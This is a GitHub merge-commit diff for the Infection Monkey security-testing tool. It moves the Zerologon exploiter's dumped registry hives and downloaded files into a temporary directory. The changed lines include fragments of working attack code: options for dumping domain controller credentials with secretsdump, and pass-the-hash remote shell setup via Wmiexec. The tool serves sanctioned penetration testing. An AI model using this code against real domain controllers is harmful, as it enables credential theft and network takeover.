Merge pull request #1143 from guardicore/zerologon-tmp-dir

Create a temporary directory for zerologon artifacts
This commit is contained in:
Mike Salvatore 2021-05-04 09:38:38 -04:00 committed by GitHub
commit 341af227b7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 24 additions and 9 deletions

View File

@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
collection time. #1102
- Changed default BB test suite: if `--run-performance-tests` flag is not specified,
performance tests are skipped.
- Zerologon exploiter writes runtime artifacts to a secure temporary directory
instead of $HOME. #1143
### Fixed
- Attempted to delete a directory when monkey config reset was called. #1054

View File

@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
import logging
import os
import re
import tempfile
from binascii import unhexlify
from typing import Dict, List, Optional, Tuple
@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info["credentials"] = {}
self.exploit_info["password_restored"] = None
self._extracted_creds = {}
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
def __del__(self):
self._secrets_dir.cleanup()
def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
options = OptionsForSecretsdump(
dc_ip=self.dc_ip,
just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
)
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
)
wmiexec = Wmiexec(
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
ip=self.dc_ip,
username=username,
hashes=":".join(user_pwd_hashes),
domain=self.dc_ip,
secrets_dir=self._secrets_dir,
)
remote_shell = wmiexec.get_remote_shell()
@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
def remove_locally_saved_HKLM_keys(self) -> None:
for name in ["system", "sam", "security"]:
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
try:
os.remove(path)
except Exception as e:

View File

@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename):
def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = "\\" + outputFilename
@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
self.__transferClient = smbConnection
self.__pwd = str("C:\\")
self.__noOutput = False
self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename)
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)

View File

@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time())
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
def __init__(
self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share
self.__secrets_dir = secrets_dir
self.shell = None
def connect(self):
@ -107,7 +110,7 @@ class Wmiexec:
self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
)
return self.shell